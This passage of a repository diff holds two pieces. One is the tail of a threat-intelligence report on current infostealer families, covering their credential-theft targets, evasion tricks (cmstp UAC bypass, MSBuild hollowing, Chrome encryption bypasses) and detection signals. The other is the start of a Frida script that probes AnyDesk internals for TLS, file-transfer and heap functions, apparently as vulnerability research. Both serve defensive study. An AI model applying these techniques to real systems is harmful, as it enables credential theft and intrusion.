- **Return address breakpoint detection** - checks if return addresses have breakpoints set (anti-reverse-engineering)
|
||||||
|
- Build size only 500-700KB despite massive feature set
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- Exception-heavy execution flow (high volume of handled access violations)
|
||||||
|
- Heaven's Gate transitions (far calls to 64-bit code segments from 32-bit processes)
|
||||||
|
- PE checksum validation at runtime
|
||||||
|
- Stack corruption patterns in crashed analysis tools
|
||||||
|
- TikTok/social platform distribution chains
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 8. Katz Stealer
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | Not specified (likely C/C++) |
|
||||||
|
| **Developer** | katzadmin (BreachForums) |
|
||||||
|
| **Model** | MaaS: $100/month (budget option) |
|
||||||
|
| **Status** | Active since April 2025 |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Browsers, crypto wallets, messaging platforms, gaming services
|
||||||
|
- Aggressive credential theft with system fingerprinting
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- **UAC bypass via cmstp.exe** (trusted Microsoft binary abuse)
|
||||||
|
- **Process hollowing via MSBuild.exe** (another trusted binary)
|
||||||
|
- In-memory execution
|
||||||
|
- CIS country check (language-based geofencing)
|
||||||
|
- Stealthy persistence mechanisms
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Approach 4 - DLL injection to obtain encryption key **without administrator privileges**, then decrypts cookies/passwords from Chromium browsers
|
||||||
|
|
||||||
|
**Exfiltration:** C2-based
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Non-admin ABE bypass** via DLL injection (key differentiator)
|
||||||
|
- **MSBuild.exe process hollowing** - using trusted development tool as host
|
||||||
|
- **cmstp.exe UAC bypass** - leveraging Microsoft Connection Manager
|
||||||
|
- Budget pricing ($100/mo) driving rapid adoption
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- MSBuild.exe with unusual child processes or network activity
|
||||||
|
- cmstp.exe executing outside of normal VPN/connection contexts
|
||||||
|
- DLL injection into Chrome without admin privileges
|
||||||
|
- Process hollowing signatures in MSBuild.exe
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 9. EDDIESTEALER
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | **Rust** |
|
||||||
|
| **Model** | Commodity stealer |
|
||||||
|
| **Status** | Active 2025 |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- System metadata collection
|
||||||
|
- Crypto wallets, web browsers, password managers
|
||||||
|
- FTP clients, messaging apps
|
||||||
|
- Task-based architecture (receives theft tasks from C2)
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- Rust compilation (harder to analyze than C/C++)
|
||||||
|
- ClickFix delivery via fake CAPTCHA pages
|
||||||
|
- Task-based execution model
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Confirmed capability; method not fully documented
|
||||||
|
|
||||||
|
**Exfiltration:** C2 task-response model
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Rust-based stealer** - relatively uncommon language choice providing natural obfuscation
|
||||||
|
- **Task-based architecture** - C2 sends specific theft tasks rather than pre-programmed theft sequence
|
||||||
|
- ClickFix/fake CAPTCHA delivery chain
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- Rust binary characteristics (unique PE structure, large imports)
|
||||||
|
- Task-based C2 communication patterns
|
||||||
|
- ClickFix page delivery detection
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 10. Hannibal Stealer
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | C# (.NET Framework) |
|
||||||
|
| **Model** | MaaS: $150/mo to $650/7mo; ~10,000 Telegram subscribers |
|
||||||
|
| **Status** | Active since February 2025 |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Chromium + Gecko browsers (credentials, cookies, autofill)
|
||||||
|
- Crypto wallets: Exodus, MetaMask, Monero, etc.
|
||||||
|
- FTP: FileZilla, Total Commander
|
||||||
|
- VPN credentials, Steam sessions, Telegram files, Discord tokens
|
||||||
|
- **Crypto clipper module** (clipboard hijacking for wallet address replacement)
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- Impersonation of legitimate browser DLLs (e.g., `CefSharp.BrowserSubprocess.dll`)
|
||||||
|
- DLL injection using multiple different DLLs
|
||||||
|
- Trusted process masquerading
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Approach 3 - Injects code into Chrome's memory space, retrieves plaintext session cookies directly from within Chrome's process. Captures cookies from memory enabling session hijack **without credentials or MFA bypass**.
|
||||||
|
|
||||||
|
**Exfiltration:** C2-based
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Legitimate DLL impersonation** - uses known browser component DLL names
|
||||||
|
- **Direct memory cookie capture** - grabs plaintext cookies pre-encryption from Chrome's process memory
|
||||||
|
- **Crypto clipper** integrated with stealer (dual-purpose)
|
||||||
|
- Evolution from Sharp Stealer -> TX Stealer -> Hannibal Stealer lineage
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- CefSharp.BrowserSubprocess.dll loaded by non-browser processes
|
||||||
|
- Multiple DLL injection events targeting browser processes
|
||||||
|
- Clipboard monitoring for crypto address replacement patterns
|
||||||
|
- .NET assembly loading patterns
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 11. Phemedrone Stealer
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | C# (open source) |
|
||||||
|
| **Model** | Free/open source (distributed via Telegram, formerly GitHub) |
|
||||||
|
| **Status** | Active with regular updates |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Chromium + Gecko browser data (cookies, passwords, autofill, credit cards)
|
||||||
|
- Sessions: Telegram, Steam, Discord
|
||||||
|
- Crypto wallets
|
||||||
|
- Screenshots and system information
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- VM detection via WMI (VirtualBox, VMware, Hyper-V string matching)
|
||||||
|
- Mutex checker for singular execution
|
||||||
|
- Configurable anti-analysis, anti-VM, anti-debugger modules
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Approach 2 - Chrome Remote Debug Protocol with off-screen window positioning (`--window-position=-9999,-9999`), WebSocket connection to `localhost:9222`, calls deprecated `Network.getAllCookies`
|
||||||
|
|
||||||
|
**Exfiltration:** HTTP-based log system
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Open source** - freely available, highly customizable
|
||||||
|
- **CVE-2023-36025 exploitation** (Windows SmartScreen bypass for delivery)
|
||||||
|
- **Off-screen Chrome debugging** - positions window at -9999,-9999 to hide from user
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- Chrome launched with `--remote-debugging-port` and extreme negative window positions
|
||||||
|
- WebSocket connections to localhost:9222
|
||||||
|
- WMI queries checking for VM identifiers
|
||||||
|
- SmartScreen bypass attempts
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 12. Skuld (TMPN Stealer)
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | **Golang 1.20+** |
|
||||||
|
| **Developer** | "Deathined" |
|
||||||
|
| **Model** | Open source / freely available |
|
||||||
|
| **Status** | Active, still under development |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Discord tokens (primary focus)
|
||||||
|
- 37 Chromium-based browser logins, cookies, credit cards, history
|
||||||
|
- Crypto wallets with clipper module
|
||||||
|
- System information
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- Go compilation (14.4MB binaries, harder for traditional AV)
|
||||||
|
- Fake compilation timestamps
|
||||||
|
- Discord Token Protector corruption (disables protection before stealing)
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Not specifically documented; likely uses standard DPAPI
|
||||||
|
|
||||||
|
**Exfiltration:** Discord webhooks (primary)
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Golang-based** - ported from Python PoCs to Go for cross-platform potential and AV evasion
|
||||||
|
- **Discord Token Protector corruption** - actively sabotages defensive tools
|
||||||
|
- **Better Discord file corruption** + JavaScript injection into Discord client
|
||||||
|
- **Discord invite link hijacking** for distribution
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- Large Go binaries (~14MB) accessing browser credential files
|
||||||
|
- Discord Token Protector file modifications
|
||||||
|
- JavaScript injection into Discord's local app files
|
||||||
|
- Discord webhook exfiltration traffic
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 13. WhiteSnake Stealer
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | Not specified (likely C#) |
|
||||||
|
| **Model** | MaaS: $120/mo to $1,500 lifetime |
|
||||||
|
| **Status** | Active |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Browsers (cookies, autofill, login data)
|
||||||
|
- Crypto wallet browser extensions
|
||||||
|
- Messaging: Discord, Pidgin, Steam, Telegram
|
||||||
|
- Mail: Thunderbird
|
||||||
|
- FTP: FileZilla
|
||||||
|
- Remote access: Snowflake
|
||||||
|
- Screenshots, audio recording, webcam capture, keylogging
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- Mutex-based single instance
|
||||||
|
- **TOR for C2 communication** (unique among stealers)
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Confirmed bypass capability (one of the first to announce)
|
||||||
|
|
||||||
|
**Exfiltration:** **TOR-based C2** (distinguishing feature)
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **TOR C2 communication** - provides network-level anonymity rare in stealers
|
||||||
|
- **Full RAT capabilities** (screenshots, audio, webcam, keylogging) integrated with stealer
|
||||||
|
- Cross-platform (Windows + Linux)
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- TOR traffic from non-TOR-browser processes
|
||||||
|
- Combined stealer + RAT behavioral patterns
|
||||||
|
- Audio/webcam access by unknown processes
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 14. SantaStealer
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | 64-bit DLL (500+ exports) |
|
||||||
|
| **Developer** | Evolved from BluelineStealer |
|
||||||
|
| **Model** | MaaS: $175/mo basic, $300/mo premium |
|
||||||
|
| **Status** | Active since December 2025 |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Browser credentials, cookies, stored passwords
|
||||||
|
- Crypto wallet data
|
||||||
|
- Telegram, Discord, Steam tokens
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- **Fileless operation** - modules and Chrome decryptor DLL loaded/executed entirely in memory
|
||||||
|
- Anti-VM checks (exported as `check_antivm`)
|
||||||
|
- However: unencrypted strings, descriptive export names (immature OpSec)
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Approach 8 - Fileless in-memory Chrome decryptor DLL loading
|
||||||
|
|
||||||
|
**Exfiltration:** Compressed data split into 10MB chunks over **unencrypted HTTP** (weak OpSec)
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Completely fileless collection** - no credential files ever touch disk
|
||||||
|
- **In-memory Chrome decryptor** - DLL loaded and executed without file creation
|
||||||
|
- Technically immature but conceptually advanced (fileless approach is the future direction)
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- Memory-only DLL loads without disk backing
|
||||||
|
- 10MB chunked HTTP uploads
|
||||||
|
- Unencrypted HTTP exfiltration (easy to detect)
|
||||||
|
- Exported symbols like "payload_main", "check_antivm", "browser_names" in loaded modules
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 15. Logins.zip
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | C |
|
||||||
|
| **Model** | MaaS: $150/mo (promotional) |
|
||||||
|
| **Status** | Active since October 2025 |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Multi-browser: Chrome, Brave, Edge, Firefox, Opera
|
||||||
|
- Cookies, credentials, payment card details
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- **Polymorphic auto-obfuscation** (each build unique)
|
||||||
|
- ~150KB stub size (extremely small)
|
||||||
|
- Browser-based builder (no technical expertise required)
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Approach 6 - Claims **two undisclosed Chromium zero-day exploits** chained with ABE bypass + server-side DPAPI decryption. Claims 99% credential recovery vs. ~43% for legacy DPAPI-only stealers. No admin privileges required.
|
||||||
|
|
||||||
|
**Exfiltration:** C2 with server-side decryption
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Claimed Chromium zero-day integration** (if real, most advanced ABE bypass)
|
||||||
|
- **Server-side DPAPI decryption** combined with browser exploits
|
||||||
|
- **150KB stub** - one of the smallest stealer payloads known
|
||||||
|
- **Polymorphic auto-obfuscation** built into every generated stub
|
||||||
|
- **99% credential recovery** claim (vs. 43% industry average)
|
||||||
|
- Browser-based builder lowering the barrier to entry
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- Extremely small executable (~150KB) accessing browser credential stores
|
||||||
|
- Polymorphic binary characteristics
|
||||||
|
- Server-side decryption traffic patterns
|
||||||
|
- Dashboard/panel infrastructure indicators
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Novel Techniques Unique to 2025-2026
|
||||||
|
|
||||||
|
### 1. NTSockets / Direct AFD Communication (Amatera)
|
||||||
|
Bypasses ALL Windows networking APIs by communicating directly with `\Device\Afd\Endpoint` via NtCreateFile + NtDeviceIoControlFile. Makes HTTP traffic invisible to API-hooking security products.
|
||||||
|
|
||||||
|
### 2. AI-Powered OCR for Seed Phrase Capture (Rhadamanthys)
|
||||||
|
Uses optical character recognition to scan screenshots and images for cryptocurrency wallet seed phrases - a completely novel data theft vector.
|
||||||
|
|
||||||
|
### 3. Browser Fingerprinting as C2 Tactic (Lumma)
|
||||||
|
Uses JavaScript-based browser fingerprinting not just for anti-analysis but as an actual C2 communication channel supplement.
|
||||||
|
|
||||||
|
### 4. EtherHiding / Blockchain C2 (Lumma)
|
||||||
|
Stores malicious code in Binance Smart Chain smart contracts, making C2 infrastructure essentially immutable and takedown-resistant.
|
||||||
|
|
||||||
|
### 5. Server-Side Credential Decryption (StealC v2, Logins.zip)
|
||||||
|
Shifts decryption workload to the C2 server, reducing on-victim forensic artifacts and removing the need for local crypto libraries.
|
||||||
|
|
||||||
|
### 6. Steganographic Payload Delivery (Rhadamanthys)
|
||||||
|
Payloads hidden in WAV/JPEG/PNG files with shared-secret decryption negotiated during C2 handshake.
|
||||||
|
|
||||||
|
### 7. Exception-Driven API Hashing (AuraStealer)
|
||||||
|
Deliberately triggers access violations and resolves API calls through custom exception handlers - extremely difficult to analyze statically.
|
||||||
|
|
||||||
|
### 8. Fileless Collection Pipeline (SantaStealer)
|
||||||
|
Chrome decryptor DLL loaded and executed entirely in memory with no disk artifacts.
|
||||||
|
|
||||||
|
### 9. WoW64 Syscall + NTSocket Combined Evasion (Amatera)
|
||||||
|
Combines Heaven's Gate transitions with direct AFD socket communication to bypass both API hooks and network monitoring simultaneously.
|
||||||
|
|
||||||
|
### 10. Adaptive Multi-Threading (Vidar 2.0)
|
||||||
|
Dynamically adjusts thread count based on victim hardware to minimize dwell time on faster systems.
|
||||||
|
|
||||||
|
### 11. Polymorphic Builder with Control Flow Flattening (Vidar 2.0)
|
||||||
|
Each build has unique binary signatures AND flattened control flow, defeating both signature and structural analysis.
|
||||||
|
|
||||||
|
### 12. Hidden Stack Corruption Anti-Debug (AuraStealer)
|
||||||
|
Instead of terminating when hooks are detected, corrupts the stack to crash the analysis tool - actively hostile to researchers.
|
||||||
|
|
||||||
|
### 13. Chromium Zero-Day + DPAPI Chain (Logins.zip)
|
||||||
|
If legitimate, represents the first known integration of browser zero-days specifically for credential theft (vs. traditional exploit->RCE chains).
|
||||||
|
|
||||||
|
### 14. ClickFix / Fake CAPTCHA Epidemic
|
||||||
|
Near-universal adoption of "verify you're human" fake CAPTCHA pages as the primary delivery mechanism across almost all families.
|
||||||
|
|
||||||
|
### 15. Trusted Binary Abuse Chain (Katz)
|
||||||
|
MSBuild.exe (process hollowing) + cmstp.exe (UAC bypass) - chaining two trusted binaries for defense evasion without any custom exploit.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cross-Family Technique Matrix
|
||||||
|
|
||||||
|
| Family | Language | ABE Bypass | Exfil Method | Anti-VM | Anti-Debug | Packer/Obfuscation | Novel Feature |
|
||||||
|
|--------|----------|-----------|-------------|---------|-----------|-------------------|---------------|
|
||||||
|
| Lumma | C/C++ | Process injection | HTTP + fingerprint | Yes | Yes | AutoIT | EtherHiding, browser FP C2 |
|
||||||
|
| StealC v2 | C/C++ | Server-side decrypt | RC4 JSON C2 | Yes | Yes | Themida | Server-side decryption |
|
||||||
|
| Vidar 2.0 | Pure C | Debug inject + DLL | HTTP C2 | Yes | Yes | Polymorphic + CFF | Adaptive multithreading |
|
||||||
|
| Rhadamanthys | C++ + Lua | Via CoffeeLoader | Encrypted C2 | RDTSC timing | HWID check | FastLZ + custom B64 | AI OCR, steganography |
|
||||||
|
| Meduza | C++/Python | IElevator COM | Early C2 | CPUID | COM escalation | Crypting stub | Google token theft |
|
||||||
|
| Amatera | C++ | Integrated | NTSocket/AFD | Yes | WoW64 syscall | Dynamic API | NTSocket evasion |
|
||||||
|
| AuraStealer | C++ | Integrated | TLS C2 | Yes | Stack corruption | Exception-driven hash | Heaven's Gate + exception API |
|
||||||
|
| Katz | C/C++ | DLL inject (no admin) | C2 | CIS geocheck | MSBuild hollow | In-memory | Budget MaaS ($100/mo) |
|
||||||
|
| EDDIESTEALER | Rust | Confirmed | Task-based C2 | Unknown | Unknown | Rust natural | Task-based architecture |
|
||||||
|
| Hannibal | C# .NET | Memory injection | C2 | Unknown | DLL masquerade | Legit DLL names | Memory cookie capture |
|
||||||
|
| Phemedrone | C# | Chrome DevTools | HTTP logs | WMI VM check | Mutex | Configurable | Open source, CVE delivery |
|
||||||
|
| Skuld | Golang | DPAPI (basic) | Discord webhook | Fake timestamps | Go obfuscation | Go compilation | Discord sabotage |
|
||||||
|
| WhiteSnake | C# | Confirmed | **TOR** | Unknown | Mutex | TOR integration | Full RAT + TOR |
|
||||||
|
| SantaStealer | Native DLL | Fileless in-memory | HTTP (unencrypted) | check_antivm | Basic | Fileless | In-memory decryptor |
|
||||||
|
| Logins.zip | C | Chromium 0-day chain | Server-side decrypt | Unknown | Unknown | Polymorphic auto | 150KB stub, 99% recovery |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Detection Opportunities
|
||||||
|
|
||||||
|
### High-Value Detection Signals (Across All Families)
|
||||||
|
|
||||||
|
**Browser Process Injection:**
|
||||||
|
- VirtualAllocEx/WriteProcessMemory/CreateRemoteThread targeting chrome.exe, msedge.exe, brave.exe, firefox.exe
|
||||||
|
- Non-browser DLLs loaded into browser processes
|
||||||
|
- Named pipe creation associated with browser processes
|
||||||
|
|
||||||
|
**Chrome Debug Protocol Abuse:**
|
||||||
|
- Chrome launched with `--remote-debugging-port` by non-developer processes
|
||||||
|
- Chrome launched with `--headless` + debug flags
|
||||||
|
- Window positions at extreme negative coordinates (-9999,-9999)
|
||||||
|
- WebSocket connections to localhost:9222
|
||||||
|
|
||||||
|
**ABE Bypass Indicators:**
|
||||||
|
- COM calls to `GoogleChromeElevationService` from non-Chrome processes
|
||||||
|
- Direct access to Chrome's `Local State` file by unknown processes
|
||||||
|
- DLL injection into Chrome without corresponding user interaction
|
||||||
|
|
||||||
|
**Credential File Access Patterns:**
|
||||||
|
- Rapid sequential access to multiple browser profile directories
|
||||||
|
- Access to `Login Data`, `Cookies`, `Web Data` SQLite files by non-browser processes
|
||||||
|
- `Local State` file reads followed by DPAPI calls
|
||||||
|
|
||||||
|
**Network-Level:**
|
||||||
|
- TOR traffic from non-TOR processes (WhiteSnake)
|
||||||
|
- RC4-encrypted JSON payloads (StealC v2)
|
||||||
|
- Direct `\Device\Afd\Endpoint` access (Amatera)
|
||||||
|
- 10MB chunked HTTP uploads (SantaStealer)
|
||||||
|
- Discord webhook POST requests with base64/encoded data
|
||||||
|
- Telegram API calls (api.telegram.org) from non-Telegram processes
|
||||||
|
|
||||||
|
**Anti-Analysis Behavioral:**
|
||||||
|
- CPUID/RDTSC timing loops at process start
|
||||||
|
- WMI queries for VM identifiers
|
||||||
|
- GeoID/language checks followed by process termination
|
||||||
|
- High volume of handled access violations (exception-driven API hashing)
|
||||||
|
- Heaven's Gate far calls from 32-bit processes
|
||||||
|
|
||||||
|
**Persistence Indicators:**
|
||||||
|
- Registry Run key modifications by recently-created executables
|
||||||
|
- Scheduled tasks with 3-minute repeat intervals
|
||||||
|
- MSBuild.exe or cmstp.exe with unusual child processes
|
||||||
|
- Task.xml dropped to establish scheduled tasks
|
||||||
|
|
||||||
|
**Delivery Chain:**
|
||||||
|
- ClickFix/fake CAPTCHA pages in browser history
|
||||||
|
- EtherHiding (BSC smart contract calls from non-crypto apps)
|
||||||
|
- PowerShell one-liners from "copy-paste" social engineering
|
||||||
|
- SVG attachments in phishing emails
|
||||||
|
- Malicious .blend files (targeting Blender users)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Key Trends Summary
|
||||||
|
|
||||||
|
1. **ABE bypass is solved** - Every major stealer has at least one working bypass. Google's ABE is no longer a meaningful defense. DBSC is the planned replacement.
|
||||||
|
|
||||||
|
2. **Language diversification** - Pure C (Vidar), Rust (EDDIESTEALER), Golang (Skuld), C# (Hannibal/Phemedrone), C++ (most others). Each language provides different evasion properties.
|
||||||
|
|
||||||
|
3. **Server-side processing** - StealC v2 and Logins.zip shift decryption to C2, reducing victim-side artifacts.
|
||||||
|
|
||||||
|
4. **Fileless evolution** - SantaStealer's in-memory-only approach will likely become standard.
|
||||||
|
|
||||||
|
5. **API-level evasion maturity** - Amatera's NTSocket + WoW64 syscall combination and AuraStealer's exception-driven API hashing represent the cutting edge of EDR bypass.
|
||||||
|
|
||||||
|
6. **ClickFix delivery dominance** - Fake CAPTCHA "verify you're human" pages are now the dominant delivery mechanism.
|
||||||
|
|
||||||
|
7. **Market fragmentation** - After Lumma's takedown and RedLine/META's disruption, the market splintered into many competing families, driving innovation and price competition.
|
||||||
|
|
||||||
|
8. **Pricing race to bottom** - From $1,000+/mo for premium features to $100/mo (Katz) and $300 lifetime (Vidar 2.0), making advanced stealers accessible to low-skill actors.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*Sources compiled from Microsoft Security Blog, Trend Micro, Elastic Security Labs, Proofpoint, Rapid7, Check Point Research, Zscaler ThreatLabz, Picus Security, Gen Digital, CrowdStrike, ANY.RUN, CYFIRMA, SpyCloud, and others. March 2026.*
|
||||||
@@ -0,0 +1,370 @@
|
|||||||
|
"""
|
||||||
|
AnyDesk Process Recon
|
||||||
|
Enumerates loaded modules, TLS-related exports, and interesting functions.
|
||||||
|
Run this first to understand AnyDesk's internals.
|
||||||
|
"""
|
||||||
|
import frida
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
|
||||||
|
AGENT_CODE = r"""
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Phase 1: Enumerate all loaded modules
|
||||||
|
// ============================================================
|
||||||
|
function enumModules() {
|
||||||
|
const mods = Process.enumerateModules();
|
||||||
|
const result = [];
|
||||||
|
for (const m of mods) {
|
||||||
|
result.push({
|
||||||
|
name: m.name,
|
||||||
|
base: m.base.toString(),
|
||||||
|
size: m.size,
|
||||||
|
path: m.path
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Phase 2: Find TLS/crypto related exports across all modules
|
||||||
|
// ============================================================
|
||||||
|
function findTlsExports() {
|
||||||
|
const patterns = [
|
||||||
|
'SSL_read', 'SSL_write', 'SSL_new', 'SSL_connect',
|
||||||
|
'SSL_accept', 'SSL_free', 'SSL_CTX_new',
|
||||||
|
'EncryptMessage', 'DecryptMessage',
|
||||||
|
'SslEncryptPacket', 'SslDecryptPacket',
|
||||||
|
'BCryptEncrypt', 'BCryptDecrypt',
|
||||||
|
'CryptEncrypt', 'CryptDecrypt',
|
||||||
|
'mbedtls_ssl_read', 'mbedtls_ssl_write',
|
||||||
|
// Winsock
|
||||||
|
'send', 'recv', 'WSASend', 'WSARecv',
|
||||||
|
'sendto', 'recvfrom',
|
||||||
|
// File operations (for file transfer)
|
||||||
|
'CreateFileW', 'CreateFileA', 'WriteFile', 'ReadFile',
|
||||||
|
'MoveFileW', 'MoveFileExW', 'CopyFileW',
|
||||||
|
'CreateDirectoryW', 'RemoveDirectoryW',
|
||||||
|
// Memory alloc (for heap overflow detection)
|
||||||
|
'HeapAlloc', 'HeapFree', 'HeapReAlloc',
|
||||||
|
'VirtualAlloc', 'VirtualFree',
|
||||||
|
'malloc', 'free', 'realloc', 'calloc',
|
||||||
|
// Image/bitmap
|
||||||
|
'CreateDIBSection', 'SetDIBits', 'GetDIBits',
|
||||||
|
'CreateBitmap', 'CreateCompatibleBitmap',
|
||||||
|
// Clipboard
|
||||||
|
'SetClipboardData', 'GetClipboardData',
|
||||||
|
'OpenClipboard', 'CloseClipboard',
|
||||||
|
'EmptyClipboard',
|
||||||
|
];
|
||||||
|
|
||||||
|
const found = [];
|
||||||
|
const mods = Process.enumerateModules();
|
||||||
|
|
||||||
|
for (const m of mods) {
|
||||||
|
try {
|
||||||
|
const exports = m.enumerateExports();
|
||||||
|
for (const exp of exports) {
|
||||||
|
for (const pat of patterns) {
|
||||||
|
if (exp.name && exp.name.includes(pat)) {
|
||||||
|
found.push({
|
||||||
|
module: m.name,
|
||||||
|
name: exp.name,
|
||||||
|
address: exp.address.toString(),
|
||||||
|
type: exp.type
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
// Some modules can't be enumerated
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Phase 3: Look for AnyDesk-specific strings in memory
|
||||||
|
// ============================================================
|
||||||
|
function findInterestingStrings() {
|
||||||
|
const mainModule = Process.enumerateModules()[0]; // AnyDesk.exe
|
||||||
|
const found = [];
|
||||||
|
const patterns = [
|
||||||
|
'DeskRT',
|
||||||
|
'file_transfer',
|
||||||
|
'FileTransfer',
|
||||||
|
'clipboard',
|
||||||
|
'Clipboard',
|
||||||
|
'identity',
|
||||||
|
'Identity',
|
||||||
|
'user_image',
|
||||||
|
'UserImage',
|
||||||
|
'avatar',
|
||||||
|
'codec',
|
||||||
|
'Codec',
|
||||||
|
'decompress',
|
||||||
|
'Decompress',
|
||||||
|
'decode_frame',
|
||||||
|
'DecodeFrame',
|
||||||
|
'bitmap',
|
||||||
|
'Bitmap',
|
||||||
|
'PNG',
|
||||||
|
'png_decode',
|
||||||
|
'traversal',
|
||||||
|
'path_sanitize',
|
||||||
|
'sanitize',
|
||||||
|
'validate_path',
|
||||||
|
'ad.security',
|
||||||
|
'ssl_ctx',
|
||||||
|
'TLS',
|
||||||
|
'handshake',
|
||||||
|
'Handshake',
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const pat of patterns) {
|
||||||
|
try {
|
||||||
|
const matches = Memory.scanSync(mainModule.base, mainModule.size,
|
||||||
|
stringToPattern(pat));
|
||||||
|
if (matches.length > 0) {
|
||||||
|
found.push({
|
||||||
|
pattern: pat,
|
||||||
|
count: matches.length,
|
||||||
|
first_addr: matches[0].address.toString(),
|
||||||
|
// Read surrounding context
|
||||||
|
context: safeReadUtf8(matches[0].address.sub(16), 64)
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
// Scan failed for this pattern
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
function stringToPattern(str) {
|
||||||
|
let pat = '';
|
||||||
|
for (let i = 0; i < str.length; i++) {
|
||||||
|
if (i > 0) pat += ' ';
|
||||||
|
pat += str.charCodeAt(i).toString(16).padStart(2, '0');
|
||||||
|
}
|
||||||
|
return pat;
|
||||||
|
}
|
||||||
|
|
||||||
|
function safeReadUtf8(addr, len) {
|
||||||
|
try {
|
||||||
|
const buf = addr.readByteArray(len);
|
||||||
|
if (!buf) return '<null>';
|
||||||
|
const arr = new Uint8Array(buf);
|
||||||
|
let s = '';
|
||||||
|
for (let i = 0; i < arr.length; i++) {
|
||||||
|
const c = arr[i];
|
||||||
|
if (c >= 0x20 && c < 0x7f) s += String.fromCharCode(c);
|
||||||
|
else s += '.';
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
} catch (e) {
|
||||||
|
return '<unreadable>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Phase 4: Scan for OpenSSL-style function tables
|
||||||
|
// ============================================================
|
||||||
|
